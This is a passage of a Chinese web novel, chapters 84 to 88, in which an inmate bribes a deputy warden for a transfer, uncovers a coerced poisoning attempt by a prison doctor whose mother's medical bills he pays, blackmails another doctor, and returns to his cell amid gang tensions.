“多贵?”林燃问。
“那得看你捎什么,捎给谁。”
铁拐李单腿往后蹦了半步,靠在冰凉的墙壁上,囚服领口敞着,露出一截嶙峋的锁骨。
“给管教捎包烟,五十。给食堂师傅捎句话,一百。要是想递到办公楼里……”
他顿了顿,伸出一根手指,又弯下一根。
“这个数,起步。”
二百。
林燃心里快速盘算。
他现在口袋里一分钱没有,但赵大金承诺的五千块尾款到账了,码头帮那边打完黑拳的五千块也在账上——可这些钱都不在自己手上。
可眼下,没别的路。
“李叔,”他声音压低了些,“我要递话给李副监狱长。”
铁拐李那半眯的眼睛倏地睁开了点。
“李昌东?”
“嗯。”
“你小子……”老头咂咂嘴,上下打量他,“能耐啊,攀上这条线。”
林燃没解释,解释也没用。
监狱里人人长着八百个心眼,话说三分留七分,才是保命的本事。
“你能办吗?”他问。
铁拐李没立刻答应。
他扭过头,朝着监舍门小窗往外瞅了一眼,走廊里空荡荡,只有应急灯惨白的光晕。过了好几秒,他才转回头,声音压得比刚才还低:
“有个护工,姓王,瘸腿那个,你认识吧?我看他和你也挺熟的,给你加菜来着。”
“王瘸子。”林燃点头。王瘸子是赵大金的人,知道。
“他有个侄子在办公楼当电工,能进档案室,偶尔也能溜达到领导那层。”
铁拐李说,“话能递,但得经他侄子的手。就这个数。”
老头说得干脆,“你对我挺好,吃了你几口东西了,我免费帮你做个介绍。”
两百块,一句话。
林燃脑子里那本账飞快地翻。
“先办事,后给钱。”他盯着铁拐李,“钱三天内一定到。”
老头笑了,露出那口黄黑交错的牙:“我信你,但是他不一定信啊,他会以为你玩空手套白狼?”
“不是套白狼。”
林燃说得很慢,每个字都像从牙缝里挤出来的。
“李叔,我在医疗监区待不长。出去后,这钱一分不少给他,另外再给你一百!
你要不信,我现在这条命,值不值这两百块?”
他说这话时,眼神没躲。
铁拐李不笑了。
他盯着林燃,那双浑浊的眼睛里有什么东西在转。
“行。”老头最终吐出一个字,“话怎么递?”
“就一句。”
林燃往前凑了半步,声音低得只剩气音。
“告诉李监,上次‘老陈茶铺’的客人,还想再买点‘茶叶’,问他最近有没有新货,价格好商量。”
铁拐李听完,眼神闪烁了几下。他显然听懂了这话里的暗桩,却没多问,只是点了点头。
“成。明天早饭时,我跟王瘸子说。”
“谢了,李叔。”
“别谢。”老头摆摆手,重新蹦回自己床边,“钱到了再谢。”
…………
话很快就递了出去。
第二天上午,王瘸子推着餐车过来,照例发饭。
经过林燃身边时,他眼皮抬了抬,极轻微地一点头。
林燃心里有数了。
九点五十,护工来通知林燃去理疗室做红外照射——
林燃顿时明白过来,这次理疗根本不在他的安排上。
他跟着护工走出107,左腿的伤已经好得差不多了,走路其实毫无影响,但他还是装出一点点跛。
理疗室在医疗监区最西头,走到门口,护工却没和往常一样带头进去,反而袖手站在一旁。
林燃会过意,独自推开门。
理疗室里有一个人。
李昌东就站在一张医疗椅旁。
他今天没穿制服,换了件深灰色的夹克,头发梳得一丝不苟,手里夹着根烟,烟头的红光在昏暗里一明一灭。
看见林燃进来,他吐了口烟圈,脸上没什么表情。
“来了。”他说。
“李监。”林燃走到离他三步远的地方停下。
李昌东上下打量他一遍,目光在他左腿上停了停:“腿好了?”
“差不多了。”
“那就好。”李昌东弹了弹烟灰,“说吧,找我什么事。”
林燃没绕弯子:“我想转回普通监区。”
“哦?”李昌东挑眉,“医疗监区不好?”
这个问题一出,两人都不约而同地笑了笑。
这是个不值得回答的问题。
“好,但我不适合待在这儿。”林燃说得直接,“我腿好了,没病没灾,占着床位浪费资源。现在……”
他顿了顿,看着李昌东的眼睛:“彭副监狱长那边,卡着我的申请。”
李昌东笑了。
笑容很淡,没什么温度。
“彭振卡你,你找我?”他把烟叼回嘴里,吸了一口。
“林燃,你是不是觉得,我上次收了你的钱,就得一直给你办事?”
“不敢。”林燃说,“但我觉得生意不外乎人情,上次生意合作的挺愉快。这次,我想再做一次‘生意’。”
“买什么?”
“买您一句话,或者一个签字——让我转回普通监区。”
李昌东沉默了几秒。
“你知不知道彭振对你好像有点敌意?”
“我知道。”
林燃没有隐瞒。
“那你这事,我还要担风险,绕过他,直接往监狱长那边汇报……”
李昌东做出一副为难的表情。
但林燃知道他这是在作势提价,如果没把握,他早就走了。
果然,他慢悠悠地抽完最后一口烟,把烟头扔在地上,用鞋底碾灭。
“行吧。”他说,“但是一口价,一万。”
林燃心里一沉。
一万。
赵大金承诺的五千尾款,加上码头帮那五千尾款——刚好够。
“怎么,拿不出来?”李昌东看着他,冰冷无情。
“能拿。”林燃说,声音很稳,“但得给我点时间。”
“多久?”
“三天。”
李昌东盯着他,眼神锐利像刀:
“林燃,我提醒你,监狱里每天都有变数。
你今天值一万,明天可能就要两万千,后天……可能再多钱也买不到你的命了……。”
“我知道。”林燃说,“三天,钱一定到您账上。”
李昌东没说话。
他背着手,在堆满破旧仪器的房里踱了几步,皮鞋踩在潮湿的水泥地上,发出黏腻的声响。
“成。”他最终停下脚步。
第八十四章 伊人
三天,一万块,老地方。钱到,我保你回普通监区。但丑话说前头——”
他转过身,目光冰冷:
“生意归生意,一码归一码,钱不到,或者少一分,以后别再找我。
监狱里想往上爬的人多的是,不缺你一个。”
“明白。”林燃点头。
李昌东又看了他一眼,转身朝门口走去。走到门边,他忽然想起什么,回头:
“对了,彭振那边,你什么事惹到他了?”
林燃哭笑摇了摇头:“我也不知道。”
李昌东若有所思的点了点头:“那你小心点,他和他背后的人,你惹不起。”
说完,拉开门,走了。
铁门重新关上,理疗室里又只剩下林燃一个人。
霉味和铜锈味的气味混在一起,呛得人喉咙发痒。
他站在原地,没动。
脑子里反复滚着那几个数字:一万,五千,五千。
还有李昌东最后那句话——“他背后的人,你惹不起。”
…………
三天时间,像监狱里永远拧不紧的水龙头,滴答得慢,漏得却快。
第二天上午,林燃被带去监狱办公楼三层——那里有一部可以打外线的电话,专供表现良好的犯人每月与家属联系。
狱警靠在门边抽烟,眼睛盯着窗外,一副心不在焉的样子。
这是为了方便林燃汇钱,李昌东特意做的安排
林燃拿起听筒,金属的冰凉顺着指尖往上爬。
赵大金那边的5000块,他已经通过小浙江告诉了具体汇去的账户和地址。
现在,他要动用码头帮的那笔尾款。
林燃先对着寻呼台报了串数字代码。
这是码头帮大眼仔给的呼机号和暗号。
意思是“急事,回电”。
等待回电的几分钟里,他能听见自己心脏在肋骨后面撞,一声,又一声。
码头帮不知道靠不靠谱,如果不靠谱……
好在电话铃响,刺耳。
林燃抓起听筒。
“谁?”是一个马仔的声音,有点哑,背景音嘈杂,像是在市场或者码头。
“我,林燃,大眼仔和你说过。”
那边没有接话,但默认的语气。
林燃说,“黑拳那场的尾款,五千。今天,等下记一个账户,汇过去。钱到了,咱们两清。”
电话那头沉默了更长的时间。久到林燃以为信号断了。
“……账户。”那边马仔终于吐出两个字。
林燃又把那串数字重复了一遍,一个字一个字,清晰得像在刻碑。
“明天这时候,钱不到,”林燃最后补了一句,“你就当我从来没打过这个电话。”
他挂了,没等那边回话。
放下听筒时,他后背的囚服已经洇湿了一小片,贴在皮肤上,冰凉。窗外的狱警回过头,瞥了他一眼,没说什么,示意时间到了。
走回医疗监区的路上,阳光惨白,照得水泥地反光,刺眼。林燃低着头,脑子里那本账翻得哗哗响。一万块,两笔五千,押上去的不只是钱,是他现在全部的筹码,和一条看不见的活路。
下午,一切如常。
放风,吃饭,听铁拐李絮叨那些听了八百遍的陈年旧事。小浙江依旧沉默,只是看林燃的眼神更深了,像在打量一件即将揭晓谜底的器物。
晚饭后,护工来通知林燃去换药。还是苏念晚。
医务室里的光线总是比别处亮一点,惨白,把一切都照得无所遁形。苏念晚背对着门在配药,白大褂的腰身收得紧,勾勒出清瘦的轮廓。听到脚步声,她肩膀几不可察地僵了一下,没回头。
“坐。”她说,声音干涩。
林燃在诊疗椅上坐下,卷起裤腿。胫骨处的伤口愈合得不错,新肉是粉红色的,边缘结着深褐色的痂。苏念晚转过身,端着托盘过来,低着头,开始拆旧的纱布。
她的手指很凉,碰到皮肤时,林燃能感觉到那细微的颤抖。
“今天……刘医生被调查组叫去问话了。”她忽然开口,声音很轻,像在自言自语,“问了好久。回来的时候,脸都是灰的。”
林燃“嗯”了一声,没接话。他知道榔头的死,调查组总得找个人问问,刘长生是主治医生,首当其冲。但这改变不了什么。
苏念晚不再说话,只是专注地处理伤口。消毒,上药,换上新纱布。动作机械,准确,却透着一股心不在焉的疲态。弄完腿上的,她直起身,从托盘里拿起一个小纸包,还有半杯水。
“消炎药。”她把纸包和水杯递过来,眼睛却看着旁边药柜的玻璃门,映出她自己模糊的倒影,“你伤口虽然愈合了,但里面可能有炎症,预防一下。”
林燃接过纸包,拆开,里面是三颗白色的药片,椭圆形,没有任何标识。他捏起一片,看了看,又抬头看苏念晚。
她依旧没看他,侧脸在灯光下显得格外苍白,眼下那圈乌青浓得化不开。嘴唇紧紧抿着,嘴角向下撇,像在极力压抑着什么。
“苏医生。”林燃忽然叫了她一声。
苏念晚猛地一颤,像被针扎了,倏地转回头看他。眼神里有惊慌,一闪而过,又被更深的疲惫和某种绝望盖住。
“怎么了?”她问,声音有点紧。
“你脸色很差。”林燃说,目光落在她脸上,“没休息好?”
苏念晚扯了扯嘴角,想笑,没笑出来,倒像个哭的表情。“……没事。最近,事情多。”她含糊道,又催促,“快把药吃了吧,水要凉了。”
林燃没动。他看着手里的药片,又看看那杯水。水很清,能看见杯底淡淡的垢。医务室里很静,只有换气扇单调的嗡嗡声,还有他自己逐渐清晰的呼吸。
他想起李昌东的话——“监狱里每天都有变数”。想起笑面佛加码的悬赏。想起赵大金那双淬冰的眼睛。想起彭振卡住的那份申请。
所有碎片,在这一刻,被苏念晚异样的神情和这包没有标识的药片,串成了一条冰冷刺骨的线。
他捏着药片,慢慢往嘴边送。
苏念晚的眼睛死死盯着他的手,瞳孔缩紧了,呼吸屏住,胸口微微起伏。那是一种极度紧张、甚至恐惧的注视。
第八十五章 狂潮
就在药片即将碰到嘴唇的瞬间——
“叮铃铃——!”
尖锐的电话铃声猛地炸响,骤然打断了医务室里绷到极致的寂静。
苏念晚浑身剧震,像受了惊的兔子,几乎跳起来。
她慌乱地转头看向办公桌上的电话,又猛地看向林燃手里的药片。
眼神里的挣扎和恐惧几乎要溢出来。
电话铃顽固地响着。
她像是终于被这铃声推了一把,踉跄着扑到桌边,抓起听筒。
“喂?……妈?”
她的声音一开始是哑的,随即陡然拔高,变了调,
“什么?……交了?谁交的?…交了一万?……不知道?一个年轻男人?……他、他有没有说他叫什么?……”
她听着电话,脸上的表情从震惊,到茫然,再到一种难以置信的恍惚。
握着听筒的手指捏得铁紧,身体开始不受控制地轻轻发抖。
林燃静静地看着她,手里的药片还停在唇边。
他大概猜到了。
电话那头,苏念晚的母亲似乎还在激动地说着什么,声音透过听筒隐隐约约传出来,带着哭腔和如释重负的哽咽。
苏念晚忽然转过头,目光直直地射向林燃。
那眼神复杂极了,有震惊,有探究,有崩溃边缘的脆弱,还有一丝……
溺水之人抓住浮木般的希冀。
“是你?”
她对着话筒,却像在问林燃,声音抖得不成样子。
“那交钱单子上落款是不是叫……林燃?”
林燃没承认,也没否认。
他把手里那片白色药片,轻轻放回了摊开的纸包上。
三颗药片,并排躺着,在惨白的灯光下,泛着细微的、不祥的光泽。
苏念晚像是被那轻轻一放的动作彻底击垮了。
她对着话筒匆匆说了句“妈,我晚点打给你”,几乎是摔下了听筒。
然后,她一步冲到林燃面前,眼睛通红,泪水毫无预兆地滚下来。
“不能吃!”
她一把抓起那个纸包,连同水杯,狠狠摔向墙角!
纸包破裂,药片滚落一地。
水杯“砰”地炸开,碎片和清水四溅。
她抓住林燃还没来得及放下的手腕,力气大得惊人,指甲几乎要嵌进他的皮肤里。
“是毒药!”
她哑着嗓子,眼泪混着压抑太久的恐惧和愧疚,一起涌出来。
“笑面佛……他逼我的!他抓了我的把柄……说我不做,就让我妈在医院待不下去……我没办法……我真的没办法……他还说,我做了,以后我妈的治疗费,他就……”
她语无伦次,身体抖如筛糠。
“可你……你为什么……为什么帮我交钱?那是一万块!你哪来的钱?你在这里,你为什么要……”
她仰着脸看他,泪水冲花了脸上淡薄的妆容,露出底下青黑的疲惫和原本的清秀。
林燃任她抓着,手腕上传来清晰的痛感。
他看着眼前这个濒临崩溃的女人,心里那片冰冷的算计之地,似乎被这滚烫的眼泪灼开了一个小口。
“钱怎么来的,你别管。”
他开口,声音出乎自己意料的平静,“你妈没事就好。”
就这一句话。
苏念晚愣住了,呆呆地看着他,眼泪还挂在睫毛上。
然后,她像是被抽走了所有力气,抓着他的手松了。
整个人顺着他的腿滑坐下去,瘫倒在冰凉的水泥地上,捂着脸,压抑地、绝望地痛哭起来。不是刚才那种激动的爆发,而是从骨头缝里渗出来的、积压了太久太久的悲恸和无力。
哭声闷在掌心里,肩膀剧烈地耸动。
林燃蹲下身,没碰她,只是看着她。
医务室里只剩下她破碎的哭声和换气扇的嗡嗡声。空气里弥漫着消毒水、眼泪和某种命运弄人的苦涩味道。
过了很久,哭声渐渐低了,变成断续的抽噎。
苏念晚放下手,露出一张狼狈却奇异般放松了些许的脸。
她仰头看着林燃,眼睛肿着,里面却有了点不一样的东西,像灰烬里重新亮起的一点微弱的光。
“从今天起,”她声音沙哑,却异常清晰,一字一顿。
“我这条命,是你买的。你让我做什么,我就做什么。做牛做马,杀人放火……我都认了。”
她说这话时,眼神直勾勾的,不再躲闪,里面有一种破釜沉舟的决绝,还有一丝孤注一掷的托付。
林燃没说话。他伸出手,不是扶她,而是用手指,很轻地擦掉她脸上的一道泪痕。
动作有些生硬,甚至算不上温柔。但苏念晚却浑身一颤,闭上了眼睛,更多的眼泪从眼角挤出来,顺着他的手指流下去。
指尖的皮肤细腻,泪水温热。
一种微妙而危险的气氛,在弥漫着药味和泪水的空气里悄然滋生。
劫后余生的脆弱,赤裸裸的托付,还有两个在绝境中偶然碰撞的灵魂,让某种界限变得模糊起来。
苏念晚忽然抓住他那只替她擦泪的手,贴在自己湿漉漉的脸颊上。
她的皮肤很凉,泪却滚烫。她睁眼看他,眼眶通红,眼神却亮得惊人,像燃着两簇幽暗的火。
“林燃……”她叫他的名字,声音轻得像叹息,又重得像誓言。
然后,她仰起脸,闭上了眼睛。
长长的睫毛上还沾着细小的泪珠,轻轻颤动。
一切发生得很快,又好像很慢。
林燃低下头,吻住了她颤抖的、带着咸涩泪水的嘴唇。
然后,手探了进去……
…………
在一阵阵浪涛过后。
两人像两叶扁舟,终于抵达了欢愉的彼岸。
余韵未消,但这未锁门的医疗室一番动静,既刺激又危险。
狂潮褪去后,两人恢复冷静。
紧急收拾了一番,苏念晚背对着他,露着娇好的曲线,赶紧穿着衣服。
“对……对不起。”
她一边系扣子,一边茫然道歉着,语气因为情绪跌宕而有些突兀。
“你刚刚会这样……是不是也是因为恨我?”
林燃开始没说话,穿好自己的囚服裤子后,才吐出几个字:“为什么要恨你?”
苏念晚语气细若蚊吟:“因为我……之前想害你……”
她看来,这个男人真的太不可思议了。
之前如果说以新人姿态,连续干翻几波势力,活下来已经难以想象。
第八十六章 新兵蛋子
天面对对他有加害之意的自己,居然也能放过,而且并无太多敌意。
甚至还为自己把医疗费给交了。
这是为什么?
没想到林燃却轻飘飘地给出答案:
“哼,如果谁想害我,我就要恨谁的话,那我在这里恨得过来么?”
他此时已经穿好衣物,看似随意道:“这监狱里的规矩,不就是弱肉强食,威逼利诱。”
林燃的话很淡,淡得像在说今天的天气,却让苏念晚系扣子的手停了下来。
她转过身,脸上的泪痕还没干透,眼睛红肿着,却一眨不眨地盯着他看。
“你不恨我……”她重复了一遍,像是在消化这句话的重量,“那……那你为什么帮我?”
“帮你?”林燃扯了扯嘴角,那笑有点冷,又有点说不清的东西,“我是在帮我自己。”
他从诊疗椅上站起身,左腿的伤处还有隐隐的酸胀感,但已经不影响行动了。
“苏念晚,你听着。”
他走到她面前,两人之间的距离很近,能闻到她身上消毒水混杂着刚才情欲的淡淡气息。
“在这个地方,恨没用。谁都想活着出去,谁都有软肋。你的软肋是你妈,我的软肋是……”
他顿了顿,没说出心里的名字:“还有外面一些事。”
“所以我不恨你,因为你和我一样,都是被捏着脖子往前爬的人。区别在于——”
林燃看着她,眼神很沉。
“我现在捏住了你的脖子,也捏住了你的软肋。
那一万块钱,是买你妈三个月透析的钱,也是买你这条命的定金。”
苏念晚的呼吸急促起来,胸口微微起伏。
“从今天起,你的命是我的。”林燃说得很慢,每个字都像在敲钉,
“我要你做什么,你就做什么。我要你活着,你就得活着。我要你死——”
他停了一下。
“你也不能随便死。明白吗?”
这话很残忍,却又很真实。
监狱里没有无缘无故的好,每一分善意背后都标着价码。
苏念晚愣了几秒,然后忽然笑了。
笑容很苦,却又带着一种奇异的释然。
“好。”她说,“我的命是你的。”
说这话时,她眼睛直勾勾地望着林燃。
“还有……刚刚那样,如果能让你舒服,这样能弥补的,以后你随时……我都可以。”
林燃喉结上下滚动了一下,他吞了口口水。
前世他甚至来不及有什么经验,就已经死去。
这一世,却突然有了这么一个可供XX的佳人。
刚刚发生的一切,对他完全是不由自主下的冲动。
在这一块,他实际茫然得像个新兵蛋子。
“这个……咳咳,再说吧。”
为了掩饰自己的心虚,林燃有些尴尬地转过身去。
“对了,这个你上次让我弄的。”
苏念晚想起什么,转身走到药柜前,打开最下面一个带锁的抽屉——
不是平时放药的那个,是另一个隐蔽的暗格。
她从里面拿出一个用塑料膜层层包裹的几张纸,走回来,递给林燃。
“刘长生偷偷调用Ⅲ区药品柜氨茶碱的盘点记录。”
林燃接过来,没急着拆。
塑料膜很厚,裹了三四层,边缘用胶带封得严严实实。
透过半透明的膜,能看见里面是个几张台账本中撕下来记录纸。
有了这个,刘长生就是他砧板上的肉。
他把宝贵的证据塞进囚服内袋,贴着小腹藏好。
“我走了。”他说。
苏念晚点点头,没说话。
林燃走到门边,手放在门把上,忽然想起什么,回过头。
“对了。”
他看着苏念晚。
“那一万块钱,本来是要给李昌东的。”
苏念晚愣了一下,她知道这副监狱长也不是好人,此时说一万块……肯定是林燃用来办大事的,却给了自己……
“但李昌东那边,我可以打时间差。”林燃继续说,语气很淡,像在算一笔再简单不过的账。
“三天内,我有把握再凑一万给他。可你妈那边,等不了三天。”
他说的是事实。
苏念晚的母亲每周三次透析,一次都不能断。钱断了,命就断了。
“所以……”
苏念晚的声音有点抖。
“所以这笔钱,先救你妈的命。”林燃拉开门,走廊里的冷风灌进来,吹得他囚服的衣角翻飞。
“至于李昌东那边——我自有办法。”
他没说是什么办法,但语气里的笃定,让苏念晚悬着的心莫名落下来一点。
这个男人,好像总有办法。
林燃自己都有些发懵,不知道为什么要和她说这些。
明明什么都不用说,但他还是说了出来。
难道是因为发生了关系……所以对她的情绪也有了变化?
林燃拍了拍自己的脸,让自己冷静下来。
恢复以往的冷峻。
离开医务室时,走廊里的灯光惨白依旧。
他步子不快,但其实左腿的伤已经好全了,走起来稳当得很。
脑子里却还在转那笔账。
一万块,给苏念晚母亲交医药费,是临时改的主意。
当时看着那女人眼里快溢出来的绝望,他忽然就改了主意——
李昌东那边,可以拖,可以诈,甚至可以拿别的东西抵。
但医院催款单上的数字,晚一天,可能就是另一条命。
况且,林燃手里现在不止有榔头那句没头没尾的“人在冷库”。还有刘长生这摊烂账。
调令来得比想象的快。
刚跟着护工回到107医疗监舍,铁门外已经有狱警等着了。
是个生面孔,年轻,板着脸,公事公办地递过来一张调令。
“林燃,调回三监区312监舍。现在就走。”
林燃接过,扫了一眼。右下角盖着红章,签发人那儿空着,但流程已经走完了。
看来李昌东动作挺快——或者说,他可能早就打点好了,就等钱到。
林燃按捺心里的激动,在铁拐李和小浙江的注视下,收拾起自己的小铺盖。
“还有东西没有?”年轻狱警问。
“没东西。”林燃说。在医疗监区这阵子,除了身上这套囚服和苏念晚给的那把刀,他什么也没攒下。
“行,出去吧。”
狱警也没多说,示意他跟上。
第八十七章 老大归来
走到楼梯拐角,迎面撞上个人。
刘长生端着个病历夹,正要下楼,看见林燃,脸色“唰”一下就白了,眼镜差点滑下来。
他手忙脚乱扶住,嘴唇哆嗦两下,想挤出个笑,结果比哭还难看。
“林、林燃……你这么快就……”
“刘医生。”
林燃停下,堵在他面前。
走廊窄,这么一站,刘长生就没了退路。
“我……”刘长生眼神乱瞟,额头上渗出细密的汗珠。
“别慌。”
林燃声音不高,甚至有点懒洋洋的。
“就是跟你说声,感谢你帮忙,我现在要转回去了。”
“转、转回去好,转回去好……”刘长生连连点头,像鸡啄米。
“是啊,回去了,但有些事不是这么容易就结账的……”
林燃往前凑了半步,刘长生吓得往后一缩,背撞在冰冷的墙壁上。“比如,有些人的账,到底该怎么算?”
林燃盯着他,眼睛像两口深井,没什么情绪,却看得人心里发毛。
刘长生腿一软,要不是靠着墙,恐怕能瘫下去。
“我……我不知道你在说什么……”
“不知道?”林燃笑了,从内袋抽出那张记载刘长生调换药品记录的底账纸,在他眼前晃了晃。
“那这上头,你的签名,也是别人抓着你的手写的?”
刘长生眼睛瞪圆了,死死盯着那个能让自己进去的铁证,呼吸急促起来。
“林、林燃,你别乱来……那些、那些都是……”
刘长生脸色灰败,汗珠子顺着鬓角往下淌,不敢多说,只能求饶。
“你……你想怎么样?”
林燃盯着刘长生那张汗涔涔的脸,手指不轻不重地拍了拍那张记录纸。
“刘医生,账怎么算,得看你怎么选。”
他把纸重新收好,动作慢条斯理。
“第一,从今往后,离苏念晚远点。明白不?你再去骚扰她,我保证这份东西会出现在狱侦科的桌子上。”
“好好好……”
刘长生拼命点头,下巴都快磕到胸口。
“第二。”
林燃顿了顿,“我帮你保守秘密,你也得表示表示‘诚意’。听说你最近手头紧,赌债都欠到八万了?”
刘长生脸色由白转青,嘴唇哆嗦得更厉害了。
“我、我哪还有钱……”
“有没有钱,是你的事。”
林燃打断他。
“封口费,三千。给你两天时间。钱不到位,或者你再敢去找苏念晚——”
他往前又凑了半寸,声音压得极低,像刀片刮过骨头:
“我不光送你进去,还会让外面那些放债的知道,你刘长生在监狱里,还有笔能要命的账没还清。”
刘长生彻底瘫了,后背紧贴着冰冷的墙壁,大口喘气,像条搁浅的鱼。
“两天……三千……我、我尽量……”
“不是尽量,是必须。”林燃直起身,最后瞥了他一眼,“记清楚了。”
说完,他没再理会面如死灰的刘长生,转身跟上等在前面的年轻狱警。
脚步声在空旷的楼梯间回荡,一声,一声,敲的刘长生心惊胆战。
走出医疗监区那栋灰扑扑的楼时,午后稀薄的阳光正好照在脸上。
林燃眯了眯眼,深吸一口外面带着铁锈和尘土味的空气——
比医疗监区里那股挥之不去的消毒水混着腐败的味道,实在好闻太多。
穿过两道铁门,又走过那条长长的、两边都是高墙的通道,三监区熟悉的灰色楼房出现在眼前。
楼门口,值班的狱警抬眼看了看调令。
又打量了一下林燃,没多话,抬了抬下巴示意进去。
312监舍在二楼尽头。
越走近,林燃心里那点说不清道不明的情绪就越明显。
离开不过十来天,却像过了很久。
这扇铁门背后,有他亲手打下来的地盘,有跟着他卖命的兄弟,也有随时可能反咬一口的危险。
钥匙插进锁孔,“咔嗒”一声。
门开了。
监舍里光线昏暗,但一切都没变——靠窗的头板位置空着。
那是他的铺位。
旁边第二铺是周晓阳的,再往下是刀疤辉、牛哥、麻杆……
他一进门。
正蹲在便池旁刷鞋的周晓阳第一个抬起头,手里的破牙刷“啪”掉在地上。
他瞪大眼睛,张着嘴,像被人掐住了脖子,半天没发出声音。
刀疤辉正歪在床上,左手小指还裹着脏兮兮的布条。
他听见动静,扭过头,看见站在门口的林燃,整个人像弹簧一样坐直了,眼神里闪过惊愕,随即变成敬畏。
牛哥和麻杆缩在角落,原本在小声嘀咕什么,此刻也噤了声,两双眼睛直勾勾地盯过来。
里面有畏惧,有惊讶,或许还有一丝不易察觉的紧张——
林燃不在的这几天,他们大概轻松了不少。
“燃……燃哥?”
周晓阳终于找回了自己的声音。
他撑着膝盖站起来,动作有点踉跄,大腿上“三刀六洞”的伤显然还没好利索。
林燃走进去,反手带上门。
铁门撞击门框的闷响在狭小空间里回荡。
他走到自己的头板位置,铺盖卷还是他离开时的样子,只是上面落了薄薄一层灰。
“怎么。”
林燃把铺盖卷往旁边推了推,坐下,抬眼扫了一圈,“不认识了?”
周晓阳眼眶瞬间就红了。
他瘸着腿往前挪了两步,嘴唇动了动,想说什么,又哽住了,最后只是用力抹了把脸,低低喊了声:
“燃哥……你、你回来了就好。”
刀疤辉也从床上下来,站直了。
他比周晓阳冷静些,但眼神里的激动也藏不住。
“燃哥,”他声音有点干,“医疗监区……那边没事了?”
“没事了。”林燃说得简单,目光落在刀疤辉裹着布条的左手上,“手怎么样?”
刀疤辉下意识地把手往后缩了缩,扯出个不算好看的笑:
“接上了,就是……不太灵便。”
“能接上就不错了。”
林燃没再多问,转而看向缩在角落的牛哥和麻杆。
两人被他目光一扫,立刻低下头,大气不敢出。
“我走的这些天。”
林燃开口,声音不高,却让监舍里的空气紧了几分,“有人找事吗?”
第八十八章 鬣狗环伺
周晓阳抢先摇头:“没有!燃哥,你虽然不在,但也没人敢来找事。”
刀疤辉也补充:“笑面佛那边……没动静。至少明面上没有。”
林燃点了点头。
他不在,312这几个残兵败将,确实掀不起风浪。
笑面佛真要动手,也不会挑这种时候。
“燃哥,”周晓阳憋不住,往前凑了凑,眼里满是担忧和后怕,“你腿……全好了?医疗监区那边,是不是……”
“好了。”
林燃打断他,没打算细说医疗监区里那些刀光剑影和算计。
“以后照旧。该干嘛干嘛。”
他顿了顿,目光再次扫过监舍里每一个人。
“我回来了,规矩就还是原来的规矩。”
“跟着我的,有我一口,就有你们一口。”
“想搞事的——”
他停了停,没说完,但意思所有人都懂。
周晓阳重重点头,眼圈又有点红。
刀疤辉也沉声应了句:“明白,燃哥。”
牛哥和麻杆更是忙不迭地表忠心:“燃哥放心!我们绝对听你的!”
林燃不再说话,靠着墙壁,闭上了眼睛。
监舍里重新安静下来,只有便池滴水的细微声响,和周晓阳压抑的、带着点喜极而泣的抽气声。
外头走廊传来狱警巡逻的脚步声,由远及近,又慢慢走远。
铁窗外的光线一点点暗下去。
林燃听着这些熟悉的声音,感受着身下硬板床硌人的触感,心里那根绷了太久的弦,终于稍稍松了一寸。
回来了。
这只是第一步。
接下来,该算的账,该拿的东西,该铺的路——一样都少不了。
林燃回到312的第二天,放风。
三监区的操场比医疗监区那个憋屈的天井大了不少,水泥地坪被经年累月的鞋底磨得发亮,边缘生着墨绿的苔藓。
犯人们三三两两散开,抽烟的,蹲着吹牛的,盯着铁丝网外发呆的。
空气里有汗味、劣质烟丝味,还有一股洗不掉的、属于监狱的沉闷劲。
林燃没往人堆里扎。
他找了个靠墙的角落,背贴着冰凉的水泥墙坐下,左腿伸直,右腿曲起。
目光看似放空,实际扫过整个院子。
几道视线黏在他身上,像夏天腐烂水果上招来的蝇。
东北角,笑面佛陈有仁蹲在那儿,身边围着白癜风和几个生面孔。
他没看林燃,正低头用树枝在泥地上划拉着什么,但嘴角那点似笑非笑的弧度,比直接盯着更让人发毛。
白癜风倒是直勾勾望过来,眼神阴得能拧出水。
林燃挪开视线,当没看见。
西南边,码头帮几个人聚着。
大眼仔不在,领头的是个脸生的壮汉,胳膊上纹着锚链。
那人也朝林燃这边瞥了几眼,没什么恶意,倒有点像打量货物,估摸着还剩多少价值。
很快又转回头去,继续跟手下说笑。
林燃心里有数,这人估计就是码头帮的二号人物——小霸王。
笑面佛是恨,恨他废了平头男,更恨榔头临死前有没有吐出秘密来。
码头帮是观望,钱货两清后,关系就淡了,但现在他林燃活着从医疗监区回来。
手里可能还攥着能搅动风云的东西,值不值得再下点注,这帮人得掂量。
最麻烦的是北佬帮。
小浙江从放风开始,就一直不远不近地跟着他。
这家伙自从医疗监区的风波结束后,居然也跟着被弄了出来。
此刻就蹲在离他五六步远的地方,面朝外,手里捏着块碎砖,有一下没一下地磕着地面。
他没说话,但那种无声的催促,比直接开口更压人。
虎爷赵大金在等。
等榔头手里到底藏着什么。
林燃闭了闭眼。
阳光刺目,眼皮底下是一片晃动的血红。
他不能拖太久,赵大金不是有耐心的人,更不是讲情面的人。
前警察的壳子底下,包着的是比寻常混子更狠更绝的芯子。
但他更不能轻易吐口。
这秘密是他现在手里最硬的牌,打出去,就得换回足够保命的东西。
“燃哥。”
周晓阳挨着他坐下,递过来半根皱巴巴的烟,烟纸都泛黄了。
林燃接过,就着周晓阳手里的火柴点上,吸了一口。
劣质烟草冲得喉咙发辣,但那股灼热滚下去,紧绷的神经似乎松了一线。
“没事吧?”周晓阳压低声音,眼睛警惕地扫着四周。
“笑面佛那边……还有北佬帮那个姓陈的,眼神都不对。”
“知道。”林燃吐出烟圈,看着它在浑浊的空气里变形、消散。
放风结束的哨音尖利地响起。
犯人们慢吞吞地起身,排成歪歪扭扭的队列。
林燃走在队伍中段,小浙江悄无声息地插到了他身后,呼吸几乎喷在他后颈。
“虎爷让我问你。”
声音压得极低,只有两人能听见,“三天了。”
林燃没回头,脚步也没停。
“东西在我脑子里,又跑不了。告诉虎爷,等我理顺了手头的事,自然给他个交代。”
“虎爷不喜欢等。”
小浙江的声音里透出冷意。
“那就让他想想,”林燃步子稍稍放慢半拍,声音同样冷下去。
“是想听一句没头没尾的话,还是想拿到能把笑面佛钉死的东西。急,有用?”
小浙江不吭声了。
直到队伍走进监舍楼阴暗的走廊,他才在岔路口转身离开,背影僵硬。
回到312,还没坐下,铁门上的小窗被敲响。
一个面生的年轻狱警探头:“林燃,出来。警示训话!”
监舍里瞬间安静。
周晓阳猛地站起来,刀疤辉也抬起头。
连缩在角落的牛哥和麻杆都屏住了呼吸。
不对劲,这个时间点,又没犯错误,这么突然训话?
按这里的潜规则,这趟出去就是凶多吉少了!
不是挨打就是要挟!
林燃心里却很明白,这是讨债鬼来了。
他起身,拍了拍囚服上并不存在的灰尘,朝门口走去。
